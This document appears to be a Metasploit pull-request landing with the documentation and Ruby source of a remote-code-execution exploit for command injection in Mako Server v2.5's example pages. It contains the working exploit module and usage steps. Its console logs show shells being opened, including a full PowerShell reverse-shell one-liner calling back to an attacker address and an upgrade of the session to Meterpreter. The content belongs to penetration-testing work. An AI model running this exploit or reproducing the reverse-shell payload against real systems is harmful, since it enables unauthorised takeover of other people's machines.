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Land rapid7#9133, Command injection in Mako Server examples
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‎documentation/modules/exploit/windows/http/makoserver_cmd_exec.md

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## Description
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This module exploits a vulnerability found in Mako Server v2.5.
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It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
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Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
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## Vulnerable Application
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[Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.
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This module has been verified against the following Mako Server versions for Windows XP SP3 and Windows 7 SP1 (x86/x64):
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- v2.5
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Links:
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- [Windows installer](https://makoserver.net/download/mako.windows.x86.exe)
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- [Windows download page](https://makoserver.net/download/windows)
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- [Documentation](https://makoserver.net/documentation/manual/)
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## References for vulnerability
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- https://blogs.securiteam.com/index.php/archives/3391
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- https://www.exploit-db.com/exploits/42683
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## Verification Steps
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1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
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2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
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3. Start msfconsole on host
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4. Do: ```use exploit/windows/http/makoserver_cmd_exec```
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5. Do: ```set RHOST <IP address of target system>```
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6. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
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7. Do: ```set LHOST <IP address of host system>```
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8. Do: ```exploit```
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9. You should get a Windows command shell
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## Example Output
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```
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msf > use exploit/windows/http/makoserver_cmd_exec
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msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
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RHOST => 10.10.10.3
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msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
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PAYLOAD => cmd/windows/reverse_powershell
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msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
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LHOST => 10.10.10.2
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msf exploit(makoserver_cmd_exec) > exploit
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[*] Started reverse TCP handler on 10.10.10.2:4444
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[*] Sending payload to target...
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[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49175) at 2017-10-26 21:23:59 -0400
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Microsoft Windows
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Copyright (c) 2009 Microsoft Corporation. All rights reserved.
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C:\Users\Smith\Downloads\MakoServer>
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```
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## Example Verbose Output
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```
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msf > use exploit/windows/http/makoserver_cmd_exec
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msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
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RHOST => 10.10.10.3
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msf exploit(makoserver_cmd_exec) > set VERBOSE true
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VERBOSE => true
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msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
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PAYLOAD => cmd/windows/reverse_powershell
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msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
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LHOST => 10.10.10.2
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msf exploit(makoserver_cmd_exec) > check
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[*] Trying to detect running Mako Server and necessary files...
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[*] Mako Server save.lsp returns correct ouput.
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[*] 10.10.10.3:80 The target appears to be vulnerable.
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msf exploit(makoserver_cmd_exec) > exploit
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[*] Started reverse TCP handler on 10.10.10.2:4444
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[*] Sending payload to target...
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[*] Now executing the following command: os.execute([[powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.10.10.2';$p='4444';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};]])
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[*] Sending PUT request to save.lsp...
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[*] Sending GET request to manage.lsp...
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[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49174) at 2017-10-26 21:21:08 -0400
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Microsoft Windows
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Copyright (c) 2009 Microsoft Corporation. All rights reserved.
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C:\Users\Smith\Downloads\MakoServer>
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```
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## Scenarios
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### Targeting Windows 7 SP1 x64 running Mako Server v2.5
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A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
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```
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msf > use exploit/windows/http/makoserver_cmd_exec
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msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
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RHOST => 10.10.10.2
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msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
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PAYLOAD => cmd/windows/reverse_powershell
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msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
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LHOST => 10.10.10.4
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msf exploit(makoserver_cmd_exec) > check
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[*] 10.10.10.2:80 The target appears to be vulnerable.
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msf exploit(makoserver_cmd_exec) > exploit
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[*] Started reverse TCP handler on 10.10.10.4:4444
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[*] Sending payload to target...
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[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:49189) at 2017-10-25 20:57:56 -0400
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Microsoft Windows
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Copyright (c) Microsoft Corporation. All rights reserved.
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C:\Users\Smith\Downloads\MakoServer>^Z
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Background session 1? [y/N] y
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msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
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msf post(shell_to_meterpreter) > sessions -l
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Active sessions
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===============
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Id Name Type Information Connection
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-- ---- ---- ----------- ----------
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1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
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msf post(shell_to_meterpreter) > set SESSION 1
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SESSION => 1
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msf post(shell_to_meterpreter) > set LPORT 8080
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LPORT => 8080
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msf post(shell_to_meterpreter) > exploit
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[*] Upgrading session ID: 1
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[*] Starting exploit/multi/handler
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[*] Started reverse TCP handler on 10.10.10.4:8080
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[-] Powershell is not installed on the target.
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[*] Command stager progress: 1.66% (1699/102108 bytes)
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...
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[*] Command stager progress: 100.00% (102108/102108 bytes)
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[*] Post module execution completed
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msf post(shell_to_meterpreter) > sessions -l
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Active sessions
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===============
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Id Name Type Information Connection
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-- ---- ---- ----------- ----------
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1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
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2 meterpreter x86/windows smith-PC\smith @ SMITH-PC 10.10.10.4:8080 -> 10.10.10.2:49190 (10.10.10.2)
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msf post(shell_to_meterpreter) > sessions -i 2
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[*] Starting interaction with 2...
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meterpreter > getuid
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Server username: smith-PC\smith
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meterpreter > sysinfo
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Computer : SMITH-PC
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OS : Windows 7 (Build 7601, Service Pack 1).
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Architecture : x64
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System Language : en_US
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Domain : WORKGROUP
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Logged On Users : 2
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Meterpreter : x86/windows
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```

‎modules/exploits/windows/http/makoserver_cmd_exec.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mako Server v2.5 OS Command Injection RCE',
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'Description' => %q{
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This module exploits a vulnerability found in Mako Server v2.5.
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It's possible to inject arbitrary OS commands in the Mako Server
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tutorial page through a PUT request to save.lsp.
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Attacker input will be saved on the victims machine and can
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be executed by sending a GET request to manage.lsp.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC
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'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module
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],
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'References' =>
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[
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['EDB', '42683'],
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['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
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],
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'Arch' => ARCH_CMD,
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'Platform' => 'win',
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'Targets' =>
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[
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['Mako Server v2.5 - Windows x86/x64', { }]
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],
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'DefaultTarget' => 0,
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'Privileged' => false,
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'DisclosureDate' => 'Sep 3 2017'))
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register_options(
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[
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OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
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]
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)
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end
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def check
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vprint_status('Trying to detect running Mako Server and necessary files...')
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# Send GET request to determine existence of save.lsp page
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp')
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}, 20)
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# If response does not include "MakoServer.net", target is not viable.
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if res.headers['Server'] !~ /MakoServer.net/
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vprint_warning('Target is not a Mako Server.')
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return CheckCode::Safe
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end
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if res.body
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if res.body =~ /Incorrect usage/
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# We are able to determine that the server has a save.lsp page and
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# returns the correct output.
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vprint_status('Mako Server save.lsp returns correct ouput.')
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return CheckCode::Appears
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else
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# The page exists, but is not returning the expected output.
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# May be a different version?
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vprint_warning('Mako Server save.lsp did not return expected output.')
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return CheckCode::Detected
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end
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else
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# The above checks failed and exploitability could not be determined.
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vprint_error('Unable to determine exploitability, save.lsp not found.')
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return CheckCode::Unknown
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end
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return CheckCode::Safe
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end
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def exploit
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print_status('Sending payload to target...')
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# The double square brackets helps to ensure single/double quotes
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# in cmd payload do not interfere with syntax of os.execute Lua function.
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cmd = %{os.execute([[#{payload.encoded}]])}
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# If users want to troubleshoot their cmd payloads, they can see the
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# Lua function with params that the module uses in a more verbose mode.
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vprint_status("Now executing the following command: #{cmd}")
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# Send a PUT request to save.lsp with command payload
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begin
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vprint_status('Sending PUT request to save.lsp...')
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send_request_cgi({
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'method' => 'PUT',
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'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
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'ctype' => 'text/plain',
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'data' => cmd,
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'http' => {
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'X-Requested-With' => 'XMLHttpRequest',
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'Referer' => 'http://localhost/Lua-Types.lsp'
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}
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}, 20)
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rescue StandardError => e
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fail_with(Failure::NoAccess, "Error: #{e}")
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end
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# Send a GET request to manage.lsp with execute set to true
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begin
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vprint_status('Sending GET request to manage.lsp...')
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send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
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}, 20)
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rescue StandardError => e
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fail_with(Failure::NoAccess, "Error: #{e}")
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end
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end
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end

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